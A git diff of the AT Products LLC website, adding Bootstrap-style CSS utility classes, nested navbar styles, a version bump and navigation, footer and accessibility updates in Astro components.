+    padding-right: 1rem !important;
+    padding-left: 1rem !important;
+  }
+  .px-xs-4 {
+    padding-right: 1.5rem !important;
+    padding-left: 1.5rem !important;
+  }
+  .px-xs-5 {
+    padding-right: 3rem !important;
+    padding-left: 3rem !important;
+  }
+  .py-xs-0 {
+    padding-top: 0 !important;
+    padding-bottom: 0 !important;
+  }
+  .py-xs-1 {
+    padding-top: 0.25rem !important;
+    padding-bottom: 0.25rem !important;
+  }
+  .py-xs-2 {
+    padding-top: 0.5rem !important;
+    padding-bottom: 0.5rem !important;
+  }
+  .py-xs-3 {
+    padding-top: 1rem !important;
+    padding-bottom: 1rem !important;
+  }
+  .py-xs-4 {
+    padding-top: 1.5rem !important;
+    padding-bottom: 1.5rem !important;
+  }
+  .py-xs-5 {
+    padding-top: 3rem !important;
+    padding-bottom: 3rem !important;
+  }
+  .pt-xs-0 {
+    padding-top: 0 !important;
+  }
+  .pt-xs-1 {
+    padding-top: 0.25rem !important;
+  }
+  .pt-xs-2 {
+    padding-top: 0.5rem !important;
+  }
+  .pt-xs-3 {
+    padding-top: 1rem !important;
+  }
+  .pt-xs-4 {
+    padding-top: 1.5rem !important;
+  }
+  .pt-xs-5 {
+    padding-top: 3rem !important;
+  }
+  .pe-xs-0 {
+    padding-right: 0 !important;
+  }
+  .pe-xs-1 {
+    padding-right: 0.25rem !important;
+  }
+  .pe-xs-2 {
+    padding-right: 0.5rem !important;
+  }
+  .pe-xs-3 {
+    padding-right: 1rem !important;
+  }
+  .pe-xs-4 {
+    padding-right: 1.5rem !important;
+  }
+  .pe-xs-5 {
+    padding-right: 3rem !important;
+  }
+  .pb-xs-0 {
+    padding-bottom: 0 !important;
+  }
+  .pb-xs-1 {
+    padding-bottom: 0.25rem !important;
+  }
+  .pb-xs-2 {
+    padding-bottom: 0.5rem !important;
+  }
+  .pb-xs-3 {
+    padding-bottom: 1rem !important;
+  }
+  .pb-xs-4 {
+    padding-bottom: 1.5rem !important;
+  }
+  .pb-xs-5 {
+    padding-bottom: 3rem !important;
+  }
+  .ps-xs-0 {
+    padding-left: 0 !important;
+  }
+  .ps-xs-1 {
+    padding-left: 0.25rem !important;
+  }
+  .ps-xs-2 {
+    padding-left: 0.5rem !important;
+  }
+  .ps-xs-3 {
+    padding-left: 1rem !important;
+  }
+  .ps-xs-4 {
+    padding-left: 1.5rem !important;
+  }
+  .ps-xs-5 {
+    padding-left: 3rem !important;
+  }
+  .gap-xs-0 {
+    gap: 0 !important;
+  }
+  .gap-xs-1 {
+    gap: 0.25rem !important;
+  }
+  .gap-xs-2 {
+    gap: 0.5rem !important;
+  }
+  .gap-xs-3 {
+    gap: 1rem !important;
+  }
+  .gap-xs-4 {
+    gap: 1.5rem !important;
+  }
+  .gap-xs-5 {
+    gap: 3rem !important;
+  }
+  .row-gap-xs-0 {
+    row-gap: 0 !important;
+  }
+  .row-gap-xs-1 {
+    row-gap: 0.25rem !important;
+  }
+  .row-gap-xs-2 {
+    row-gap: 0.5rem !important;
+  }
+  .row-gap-xs-3 {
+    row-gap: 1rem !important;
+  }
+  .row-gap-xs-4 {
+    row-gap: 1.5rem !important;
+  }
+  .row-gap-xs-5 {
+    row-gap: 3rem !important;
+  }
+  .column-gap-xs-0 {
+    -moz-column-gap: 0 !important;
+    column-gap: 0 !important;
+  }
+  .column-gap-xs-1 {
+    -moz-column-gap: 0.25rem !important;
+    column-gap: 0.25rem !important;
+  }
+  .column-gap-xs-2 {
+    -moz-column-gap: 0.5rem !important;
+    column-gap: 0.5rem !important;
+  }
+  .column-gap-xs-3 {
+    -moz-column-gap: 1rem !important;
+    column-gap: 1rem !important;
+  }
+  .column-gap-xs-4 {
+    -moz-column-gap: 1.5rem !important;
+    column-gap: 1.5rem !important;
+  }
+  .column-gap-xs-5 {
+    -moz-column-gap: 3rem !important;
+    column-gap: 3rem !important;
+  }
+  .text-xs-start {
+    text-align: left !important;
+  }
+  .text-xs-end {
+    text-align: right !important;
+  }
+  .text-xs-center {
+    text-align: center !important;
+  }
+}
 @media (max-width: 576px) {
   .float-ssm-start {
     float: left !important;
@@ -791,7 +1360,7 @@ a:not(p a), p, code:not(p code), b:not(p b), i:not(p i) { /* Custom */
   .d-ssm-grid {
     display: grid !important;
   }
-	.d-ssm-inline-grid {
+  .d-ssm-inline-grid {
     display: inline-grid !important;
   }
   .d-ssm-table {
@@ -5476,25 +6045,21 @@ a:not(p a), p, code:not(p code), b:not(p b), i:not(p i) { /* Custom */
       
 
 .sw-feature-box {
-	display: grid;
+	display: flex;
+  flex-wrap: wrap;
 	justify-content: center;
   background-color: grey;
   padding: 10px;
   border: 1px solid black;
 }
 
-@media (min-width:767.98px) {
-	.sw-feature-box {
-		display: flex
-	}
-}
-
 .sw-link {
-	      color: white !important;
+	color: white !important;
+	text-align: center !important;
+}
+.sw-link:hover, .sw-link:active, .sw-link:focus {
+	color: wheat !important;
 }
-    .sw-link:hover, .sw-link:active, .sw-link:focus {
-      color: wheat !important;
-    }
 
 .footer-info {
   text-decoration: none;
@@ -5540,47 +6105,99 @@ html.fixedtopnavimage {
 }
 
 .main-navbar {
-  --bs-bg-opacity: 1;
-  background-color: rgba(var(--bs-tertiary-bg-rgb), var(--bs-bg-opacity)) !important;
-	box-shadow: 0 0.5rem 1rem rgba(255, 255, 255, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15) !important;
-}
-
-[data-bs-theme=dark] .main-navbar {
---bs-bg-opacity: 1;
-  background-color: rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important;
-  box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
-}
-
-[data-bs-theme="dark"] .main-navbar.shadow {
-  box-shadow: 0 0.25rem 0.5rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
-}
-
-[data-bs-theme="dark"] .main-navbar.shadow-sm {
-  box-shadow: 0 0.125rem 0.25rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
-}
-
-[data-bs-theme="dark"] .main-navbar.shadow-lg {
-  box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
-}
-
-[data-bs-theme="dark"] .main-navbar.shadow-xlg {
-  box-shadow: 0 1rem 3rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
-}
+	& {
+	  --bs-bg-opacity: 1;
+	  background-color: rgba(var(--bs-tertiary-bg-rgb), var(--bs-bg-opacity)) !important;
+		box-shadow: 0 0.5rem 1rem rgba(255, 255, 255, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15) !important;
+	}
 
-.main-navbar.shadow {  
-	box-shadow: 0 0.25rem 0.5rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	[data-bs-theme=dark] & {
+	--bs-bg-opacity: 1;
+	  background-color: rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important;
+	  box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow {
+	  box-shadow: 0 0.25rem 0.5rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow-sm {
+	  box-shadow: 0 0.125rem 0.25rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow-lg {
+	  box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow-xlg {
+	  box-shadow: 0 1rem 3rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	&.shadow {  
+		box-shadow: 0 0.25rem 0.5rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
+	
+	&.shadow-sm {
+	  box-shadow: 0 0.125rem 0.25rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
+	
+	&.shadow-lg {
+		 box-shadow: 0 0.5rem 1rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
+		
+	&.shadow-xlg {
+		 box-shadow: 0 1rem 3rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
 }
 
-.main-navbar.shadow-sm {
-  box-shadow: 0 0.125rem 0.25rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
-}
+.story-header {
+	& {
+	  --bs-bg-opacity: 1;
+	  background-color: rgba(var(--bs-tertiary-bg-rgb), var(--bs-bg-opacity)) !important;
+		box-shadow: 0 0.5rem 1rem rgba(255, 255, 255, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15) !important;
+	}
 
-.main-navbar.shadow-lg {
-	 box-shadow: 0 0.5rem 1rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
-}
+	[data-bs-theme=dark] & {
+	--bs-bg-opacity: 1;
+	  background-color: rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important;
+	  box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow {
+	  box-shadow: 0 0.25rem 0.5rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow-sm {
+	  box-shadow: 0 0.125rem 0.25rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow-lg {
+	  box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
+	
+	[data-bs-theme="dark"] &.shadow-xlg {
+	  box-shadow: 0 1rem 3rem rgba(0,0,0,0.15), inset 0 -1px 0 rgba(255,255,255,0.15) !important;
+	}
 	
-.main-navbar.shadow-xlg {
-	 box-shadow: 0 1rem 3rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	&.shadow {  
+		box-shadow: 0 0.25rem 0.5rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
+	
+	&.shadow-sm {
+	  box-shadow: 0 0.125rem 0.25rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
+	
+	&.shadow-lg {
+		 box-shadow: 0 0.5rem 1rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
+		
+	&.shadow-xlg {
+		 box-shadow: 0 1rem 3rem rgba(255,255,255,0.15), inset 0 -1px 0 rgba(0,0,0,0.15) !important;
+	}
+	
+	& .main-navbar {
+		box-shadow: initial !important;
+	}
 }
 
 [data-bs-theme=dark] img.footerimg, 
@@ -5728,39 +6345,43 @@ height: calc(100vh - 448px);
 
 .tab-link {
 	position: sticky;
-    top: 100%;
+	top: 100%;
 }
-.products-3 img, .products-4 img {
-	width: 25%;
+.products-3 img, .products-4 img, .products-6 img {
+	width: 35%;
 }
 
 .products-2 img {
-  max-width: 150px;
+  max-width: 225px;
 	width: 40%;
 }
 
 .products-3 img {
-	max-width: 175px;
+	max-width: 225px;
 }
 
 .products-4 img {
-	max-width: 100px;
+	max-width: 125px;
+}
+
+.products-6 img {
+	max-width: 200px;
 }
 
 @media (max-width:767.98px) {
 	.products-tabContent {
-  	height: 17rem !important;
+  	height: 20rem !important;
 	}
 	.products-2 img {
 		width: 75%;
-		max-width: 225px;
+		max-width: 275px;
 	}
-	.products-3 img {
+	.products-3 img, .products-6 img {
 		width: 75%;
-		max-width: 210px;
+		max-width: 325px;
 	}
 	.products-4 img {
-		max-width: 175px;
+		max-width: 200px;
 	}
 }
 
@@ -5836,5 +6457,13 @@ height: calc(100vh - 448px);
 }
 
 .rounded-6 {
-		border-radius: var(--bs-border-radius-2xl) !important;
+	border-radius: var(--bs-border-radius-2xl) !important;
 }
+
+iframe {
+	padding-bottom: 1rem;
+}
+
+.tab {
+  tab-size: 8;
+}
\ No newline at end of file
diff --git a/public/static/version.js b/public/static/version.js
index dd715f4a4..0afd7b047 100644
--- a/public/static/version.js
+++ b/public/static/version.js
@@ -1 +1 @@
-document.write("2.19.2");
\ No newline at end of file
+document.write("2.20.1");
diff --git a/src/components/Footer.astro b/src/components/Footer.astro
index cfe70fc11..e396e9ca6 100644
--- a/src/components/Footer.astro
+++ b/src/components/Footer.astro
@@ -8,22 +8,23 @@ const { author, hr, marginTop } = Astro.props;
       <div class="row px-md-2">
         <div class="col-md-2 me-xesm-2">
          <div class="text-center">
-           <div class="imgdiv"><a href="/"><img src="/media/images/shortblack.png" width="50%" alt="icon" class="footerimg"></a></div>
+           <div class="imgdiv"><a href="/"><img src="/media/images/shortblack.webp" width="50%" alt="icon" class="footerimg"></a></div>
              <br>
-             <h5><a href="/">AT Products LLC</a></h5>
+             <h1 class="h5"><a href="/">AT Products LLC</a></h1>
           </div>
         </div>
         <div class="col-md-2 mt-mmd-2 me-md-2 text-centertostart">
-          <h5>Products</h5>
+          <h2 class="h5">Products</h2>
           <ul class="nav flex-column">
             <li class="nav-item mb-2"><a href="/paid" class="nav-link p-0 text-body-secondary">Paid Services</a></li>
             <li class="nav-item mb-2"><a href="/web" class="nav-link p-0 text-body-secondary">Web Projects</a></li>
+            <li class="nav-item mb-2"><a href="/stories" class="nav-link p-0 text-body-secondary">Stories</a></li>
             <li class="nav-item mb-2"><a href="/sms" class="nav-link p-0 text-body-secondary">SMS Bomb</a></li>
             <li class="nav-item mb-2"><a href="/pynx" class="nav-link p-0 text-body-secondary">Pynx's Projects</a></li>
           </ul>
         </div>
         <div class="col-md-2 mt-mmd-2 me-md-2 text-centertostart">
-          <h5>Communities</h5>
+          <h2 class="h5">Communities</h2>
           <ul class="nav flex-column">
             <li class="nav-item mb-2"><a href="/script" class="nav-link p-0 text-body-secondary">The Script Community</a></li>
             <li class="nav-item mb-2"><a href="/ehs" class="nav-link p-0 text-body-secondary">Ethical Hacking Society</a></li>
@@ -32,11 +33,12 @@ const { author, hr, marginTop } = Astro.props;
           </ul>
         </div>
         <div class="col-md-2 mt-mmd-2 me-md-2 text-centertostart">
-          <h5>Documentation</h5>
+          <h2 class="h5">Documentation</h2>
           <ul class="nav flex-column">
             <li class="nav-item mb-2"><a href="/terms" class="nav-link p-0 text-body-secondary">Terms of Service</a></li>
             <li class="nav-item mb-2"><a href="/discord" class="nav-link p-0 text-body-secondary">Discord Rules</a></li>
-            <li class="nav-item mb-2"><a href="/policies" class="nav-link p-0 text-body-secondary">Policies</a></li>
+            <li class="nav-item mb-2"><a href="/privacy" class="nav-link p-0 text-body-secondary">Privacy Policy</a></li>
+            <li class="nav-item mb-2"><a href="/policies" class="nav-link p-0 text-body-secondary">Other Policies</a></li>
             <li class="nav-item mb-2"><a href="/licenses" class="nav-link p-0 text-body-secondary">Licenses</a></li>
           </ul>
         </div>
@@ -65,10 +67,10 @@ const { author, hr, marginTop } = Astro.props;
           </div>
           <ul class="list-unstyled d-flex pe-3 gap-3">
             <li><a class="link-footer" href="https://github.com/Alex-Toucan/atproducts.xyz" aria-label="GitHub"><i class="bi bi-github"></i></a></li>
-            <li><a class="link-footer" href="https://twitter.com/ATProductsLLC" aria-label="Twitter"><i class="bi bi-twitter-x"></i></a></li>
+            <li><a class="link-footer" href="https://x.com/ATProductsLLC" aria-label="Twitter / X"><i class="bi bi-twitter-x"></i></a></li>
             <li><a class="link-footer" href="https://youtube.com/c/AlexToucanAT" aria-label="YouTube"><i class="bi bi-youtube"></i></a></li>
-            <li><a class="link-footer" href="/form/" aria-label="Contact Form / Email"><i class="bi bi-envelope-fill"></i></a></li>
-            <li><a class="link-footer" href="https://twitter.com/ATPWeather" aria-label="Weather"><i class="bi bi-cloud-sun-fill"></i></a></li>
+            <li><a class="link-footer" href="/contact/" aria-label="Contact Form / Email"><i class="bi bi-envelope-fill"></i></a></li>
+            <li><a class="link-footer" href="https://x.com/ATPWeather" aria-label="Weather"><i class="bi bi-cloud-sun-fill"></i></a></li>
           </ul>
         </div>
       </div>
diff --git a/src/components/Hero.astro b/src/components/Hero.astro
index 9cb5ca729..e919266aa 100644
--- a/src/components/Hero.astro
+++ b/src/components/Hero.astro
@@ -9,6 +9,7 @@ const {
   imageSrc,
   imageWidth,
   imageClasses,
+  imageAlt,
   minImageWidth,
   marginBottom,
   icons,
@@ -27,7 +28,7 @@ const flexSize = size ? size : 'md';
         <div class={`${container === 'true' ? 'container' : ''}`}>
           <div>
             {imageSrc && (
-              <img src={imageSrc} width={imageWidth} alt="icon" style={{ minWidth: minImageWidth || "150px" }} class={imageClasses} />
+              <img src={imageSrc} width={imageWidth} alt="icon" style={{ minWidth: minImageWidth || "150px" }} class={imageClasses} alt={`${imageAlt ? imageAlt : 'icon'}`} />
             )}
             {title && (
               <h1 class={`display-3 fw-bold ${imageSrc ? 'mt-mmd-2 d-block d-md-inline align-middle' : ''} ${titleClasses ? titleClasses : ''}`}>{title}</h1>
@@ -41,7 +42,7 @@ const flexSize = size ? size : 'md';
               )}
               {buttons && (
                 buttons.map(({ href, text, type }, index) => (
-                  <a href={href} class={`btn ${type === 'primary' ? 'btn-primary' : 'btn-secondary'} col-md`}>{text}</a>
+                  <a href={href} class={`btn btn-${type} col-md`}>{text}</a>
                 ))
               )}
               {dropdownItems && (
diff --git a/src/components/Navbar.astro b/src/components/Navbar.astro
index 7fbe43832..84ea59568 100644
--- a/src/components/Navbar.astro
+++ b/src/components/Navbar.astro
@@ -1,23 +1,27 @@
 ---
 
 ---
+
+<a href="#main-content" class="visually-hidden-focusable btn btn-primary position-fixed m-2 hero-filter" style="z-index: 2000;">Skip to main content</a>
+
 <header>
 <nav class="navbar navbar-expand-lg fixed-top main-navbar">
   <div class="container-fluid">
-    <a class="navbar-brand" href="/"><img src="/media/images/longblack.png" height="45px" alt="Icon" class="headerimg"></a>
+    <a class="navbar-brand" href="/"><img src="/media/images/longblack.webp" height="45px" alt="AT Products LLC" class="headerimg"></a>
     <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#collapsibleNavbar" aria-label="Toggle navigation">
       <span class="navbar-toggler-icon"></span>
     </button>
     <div class="collapse navbar-collapse" id="collapsibleNavbar">
       <ul class="navbar-nav me-auto">
         <li class="nav-item">
-          <a class="nav-link" href="/">AT Products</a>
+          <a class="nav-link" href="/">Home</a>
         </li>
         <li class="nav-item dropdown">
           <a class="nav-link dropdown-toggle" href="javascript:void(0)" role="button" data-bs-toggle="dropdown">Products</a>
           <ul class="dropdown-menu">
             <li><a class="dropdown-item" href="/paid">Paid Services</a></li>
             <li><a class="dropdown-item" href="/web">Web Projects</a></li>
+            <li><a class="dropdown-item" href="/stories">Stories</a></li>
             <li><a class="dropdown-item" href="/sms">SMS Bomb</a></li>
             <li><a class="dropdown-item" href="/pynx">Pynx's Projects</a></li>
           </ul>
@@ -36,7 +40,8 @@
             <ul class="dropdown-menu">
               <li><a class="dropdown-item" href="/terms">Terms of Service</a></li>
               <li><a class="dropdown-item" href="/discord">Discord Rules</a></li>
-              <li><a class="dropdown-item" href="/policies">Policies</a></li>
+              <li><a class="dropdown-item" href="/privacy">Privacy Policy</a></li>
+              <li><a class="dropdown-item" href="/policies">Other Policies</a></li>
               <li><a class="dropdown-item" href="/licenses">Licenses</a></li>
             </ul>
           </li>
diff --git a/src/components/Scrollspy.astro b/src/components/Scrollspy.astro
index c31aab50f..a69bba9c2 100644
--- a/src/components/Scrollspy.astro
+++ b/src/components/Scrollspy.astro
@@ -2,7 +2,7 @@
 const { id, scrollcontent, additionalClasses, otherClass } = Astro.props;
 ---
 
-<div class="d-grid d-md-flex gap-2">
+<div class="d-grid d-md-flex gap-2 pre-scroll">
     <div class="col-md-4">
         <div id={id} class="list-group">
             {scrollcontent && scrollcontent.map(({ name, href, additionalClasses }, index) => (
diff --git a/src/components/secondary/FirstPaidCard.astro b/src/components/secondary/FirstPaidCard.astro
index 3c8859a5b..9b8859740 100644
--- a/src/components/secondary/FirstPaidCard.astro
+++ b/src/components/secondary/FirstPaidCard.astro
@@ -4,7 +4,7 @@ const { title, price, secondaryprice, description, btnhref, btntext, footertext
 
   <div class="card h-md-100 rounded-3 shadow-sm">
     <div class="card-header py-3">
-      <h3 class="my-0 fw-normal">{title}</h3>
+      <h2 class="my-0 fw-normal">{title}</h2>
     </div>
     <div class="card-body">
       <h1 class="card-title pricing-card-title" set:html={price}></h1>
diff --git a/src/components/secondary/SecondPaidCard.astro b/src/components/secondary/SecondPaidCard.astro
index 81d1290c3..bea572a07 100644
--- a/src/components/secondary/SecondPaidCard.astro
+++ b/src/components/secondary/SecondPaidCard.astro
@@ -6,7 +6,7 @@ const { title, description, btnhref, btntext, footertext } = Astro.props;
   <div>
     <div class="d-md-flex">
       <div class="col-md-4 custom-card-header">
-        <h3 class="m-1 fw-normal">{title}</h3>
+        <h2 class="m-1 fw-normal">{title}</h2>
         <hr class="custom-hr">
         <p class="pb-1 mb-0 mt-1 vertical-align">{description}</p>
         {btnhref && btntext && (
diff --git a/src/layouts/CardPage.astro b/src/layouts/CardPage.astro
index 6735f3835..2d3ef66e7 100644
--- a/src/layouts/CardPage.astro
+++ b/src/layouts/CardPage.astro
@@ -1,11 +1,14 @@
 ---
-const { id, title, cardLinks, size } = Astro.props;
+const { id, title, description, cardLinks, size } = Astro.props;
 ---
 
 <div class={`hero hero-${id}`} data-bs-theme="dark">
   <div class="hero-back h-100">
     <div class="hero-filter">
       <h1 class="display-4 fw-bold title pt-3 pb-2" set:html={title}></h1>
+      {description && (
+        <p class="fs-4 mt-0 mb-3 text-body-secondary container">{description}</p>
+      )}
       <div class={`d-${size}-flex flex-wrap mx-2`}>
         {cardLinks && cardLinks.map(({ cardTitle, cardDescription, cardImage, cardWidth, cardHref, secondaryHref, additionalImageClasses }, index) => (
           <div class="col-md mt-1 mb-3 m-1">
@@ -17,7 +20,7 @@ const { id, title, cardLinks, size } = Astro.props;
               )}
               <div class="card-body">
                 <h2 class="card-title">{cardTitle}</h2>
-                <p class="card-text">{cardDescription}</p>
+                <p class="card-text" set:html={cardDescription}></p>
                 <div class="tab-link d-grid gap-2">
                   <a href={cardHref} class="btn btn-primary w-100">Visit</a>
                   {secondaryHref && (
diff --git a/src/layouts/Head.astro b/src/layouts/Head.astro
index a892843aa..bc014b8ef 100644
--- a/src/layouts/Head.astro
+++ b/src/layouts/Head.astro
@@ -1,5 +1,5 @@
 ---
-const { title, heroid, icon, bulletin, description, keywords, author, additionalContent } = Astro.props;
+const { highlight, title, heroid, icon, bulletin, description, keywords, author, additionalContent } = Astro.props;
 ---
 <!DOCTYPE html>
 <html class="fixedtopnavimage" lang="en">
@@ -7,6 +7,9 @@ const { title, heroid, icon, bulletin, description, keywords, author, additional
       <title>{title}</title> 
       <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
       <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
+      {highlight && (
+        <link rel="stylesheet" href="/static/highlight.css">
+      )}
       <link rel="stylesheet" href="/static/cookie.css">
       <link rel="stylesheet" href="/static/other.css">
       <link rel="preload" as="style" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css">
diff --git a/src/layouts/Scripts.astro b/src/layouts/Scripts.astro
index 62e8d955f..118f28158 100644
--- a/src/layouts/Scripts.astro
+++ b/src/layouts/Scripts.astro
@@ -1,9 +1,14 @@
 ---
-const { fourofour, index, modal, accordion, scrollspy } = Astro.props;
+const { highlight, fourofour, index, modal, accordion, scrollspy } = Astro.props;
 ---
 <script is:inline src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
 <script is:inline src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"></script>
 <script is:inline src="https://cdn.jsdelivr.net/npm/jquery-ui/dist/jquery-ui.min.js"></script>
+{highlight && (
+  <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
+  <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/languages/go.min.js"></script>
+  <script>hljs.highlightAll();</script>
+)}
 <script is:inline src="/static/message.js"></script>
 <script is:inline src="/static/scroll.js"></script>
 <script is:inline src="/static/purecookie.js"></script>
@@ -15,12 +20,9 @@ const { fourofour, index, modal, accordion, scrollspy } = Astro.props;
 )}
 {modal && (
   <script is:inline src="/static/modal-id.js"></script>
-  <script is:inline src="/static/accordion-id.js"></script>
-  <script is:inline src="/static/scrollspy-id.js"></script>
 )} 
 {accordion && (
   <script is:inline src="/static/accordion-id.js"></script>
-  <script is:inline src="/static/scrollspy-id.js"></script>
 )}    
 {scrollspy && (
   <script is:inline src="/static/scrollspy-id.js"></script>
diff --git a/src/layouts/stories/Navbar.astro b/src/layouts/stories/Navbar.astro
index 230b87503..60e39aa95 100644
--- a/src/layouts/stories/Navbar.astro
+++ b/src/layouts/stories/Navbar.astro
@@ -1,32 +1,35 @@
 ---
-const { breadcrumbcontent } = Astro.props;
+const { breadcrumbcontent, link, pageTitle } = Astro.props;
 ---
 
-    <header class="fixed-top">
-     <nav class="first-navbar navbar navbar-expand-story main-navbar pb-0">
-  <div class="container-fluid">
-<a class="navbar-brand d-inline me-3" href="/">
-    <img src="/media/images/longblack.png" height="45px" alt="Icon" class="headerimg"> <p class="text-disappear d-inline ms-2 align-middle">BookViewer</p></a>
-    <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#collapsibleNavbar" aria-label="Toggle navigation" aria-expanded="true">
-      <span class="navbar-toggler-icon"></span>
-    </button>
-    <div class="navbar-collapse collapse" id="collapsibleNavbar" style="">
-      <div class="vr story-end"></div>
-    <ul class="ms-story-1 navbar-nav me-auto">
+<a href="#main-content" class="visually-hidden-focusable btn btn-primary position-fixed m-2 hero-filter" style="z-index: 2000;">Skip to main content</a>
+
+<header class="fixed-top story-header">
+  <nav class="first-navbar navbar navbar-expand-story main-navbar pb-0">
+    <div class="container-fluid">
+      <a class="navbar-brand d-inline me-3" href="/">
+        <img src="/media/images/storyviewer-black.png" height="45px" alt="AT Products LLC - StoryViewer" class="headerimg"> 
+      </a>
+      <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#collapsibleNavbar" aria-label="Toggle navigation" aria-expanded="true">
+        <span class="navbar-toggler-icon"></span>
+      </button>
+      <div class="navbar-collapse collapse" id="collapsibleNavbar">
+      <ul class="navbar-nav me-auto">
         <li class="nav-item">
-          <a class="nav-link" href="/">AT Products</a>
+          <a class="nav-link" href="/">Home</a>
         </li>
         <li class="nav-item dropdown">
-          <a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">Products</a>
+          <a class="nav-link dropdown-toggle" href="javascript:void(0)" role="button" data-bs-toggle="dropdown">Products</a>
           <ul class="dropdown-menu">
             <li><a class="dropdown-item" href="/paid">Paid Services</a></li>
             <li><a class="dropdown-item" href="/web">Web Projects</a></li>
+            <li><a class="dropdown-item" href="/stories">Stories</a></li>
             <li><a class="dropdown-item" href="/sms">SMS Bomb</a></li>
             <li><a class="dropdown-item" href="/pynx">Pynx's Projects</a></li>
           </ul>
         </li>
         <li class="nav-item dropdown">
-          <a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown">Communities</a>
+          <a class="nav-link dropdown-toggle" href="javascript:void(0)" role="button" data-bs-toggle="dropdown">Communities</a>
           <ul class="dropdown-menu">
             <li><a class="dropdown-item" href="/ehs">Ethical Hacking Society</a></li>
             <li><a class="dropdown-item" href="/script">The Script Community</a></li>
@@ -35,71 +38,77 @@ const { breadcrumbcontent } = Astro.props;
           </ul>
         </li>
           <li class="nav-item dropdown">
-            <a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown">Documentation</a>
+            <a class="nav-link dropdown-toggle" href="javascript:void(0)" role="button" data-bs-toggle="dropdown">Documentation</a>
             <ul class="dropdown-menu">
               <li><a class="dropdown-item" href="/terms">Terms of Service</a></li>
               <li><a class="dropdown-item" href="/discord">Discord Rules</a></li>
-              <li><a class="dropdown-item" href="/policies">Policies</a></li>
+              <li><a class="dropdown-item" href="/privacy">Privacy Policy</a></li>
+              <li><a class="dropdown-item" href="/policies">Other Policies</a></li>
               <li><a class="dropdown-item" href="/licenses">Licenses</a></li>
             </ul>
           </li>
         </ul>
         <hr class="m-2 permhr">
         <ul class="navbar-nav">
-                 <li class="nav-item dropdown">
-        <button class="nav-link py-2 px-0 px-lg-2 dropdown-toggle d-flex align-items-center" id="bd-theme" type="button" aria-expanded="false" data-bs-toggle="dropdown" data-bs-display="static">
-          <span class="theme-icon-active">
-            <i class="my-1"></i>
-          </span>
-          <span class="d-custom-none" id="bd-theme-text">Toggle theme</span>
-        </button>
